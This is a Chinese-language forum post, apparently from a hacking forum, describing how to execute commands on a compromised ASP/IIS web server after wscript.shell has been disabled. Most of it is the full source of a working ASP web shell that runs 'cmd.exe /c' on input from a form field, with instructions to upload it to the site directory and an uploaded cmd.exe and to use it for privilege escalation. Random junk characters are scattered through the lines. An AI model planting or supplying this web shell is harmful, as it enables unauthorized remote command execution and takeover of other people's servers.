可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
$ j. |3 }' w7 i" k) p' c2 k4 V一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
" p% I9 B$ Y: r w要想让运行命令可以试试这种方法,成功率为五五之数。
* m7 {: C. U, M( J, W r把下面代码复制:
$ x( a+ U& x) U, N" S3 Q1 p6 z<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>% G" e5 n3 d* B" r" y' a( C
<%if err then%># ?1 b. _7 s6 }, x9 P
<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
4 n# L5 v( Q2 H w" @9 L<%
: s# l) O8 v" L& bend if( b' q- X/ i$ w+ c9 W
response.write("<textarea readonly cols=80 rows=20>")
' u6 b& L- F% Z+ ^7 @% e9 TOn Error Resume Next
- L8 U: H: Q3 d2 I& oresponse.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall
* T6 V6 v& U7 @' c% t% b( k2 presponse.write("</textarea>")8 ]2 V5 k& D, E
response.write("<form method='post'>")( J& }1 Z1 a7 p$ C: Y
response.write("<input type=text name='c' size=60><br>"); b- p+ x( L' ]: {" D6 p$ ]; A0 l
response.write("<input type=submit value='执行'></form>")
! h( H. n. B( m6 G/ g0 j9 Y, {" r%>
" S% m# o5 }: U$ @; P" n5 G0 V/ Z
& W7 [: ]2 X r# b! a保存为一个asp文件,然后传到网站目录上去
3 u, g% R+ \8 T8 i1 t, U运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。4 L# V8 F9 F, q! ~2 p
我用此成功运行过cacls命令。3 O+ n3 B& l9 C8 D
% w4 P1 V* I- F第二那就是运行时出错,可能限制某些代码执行 |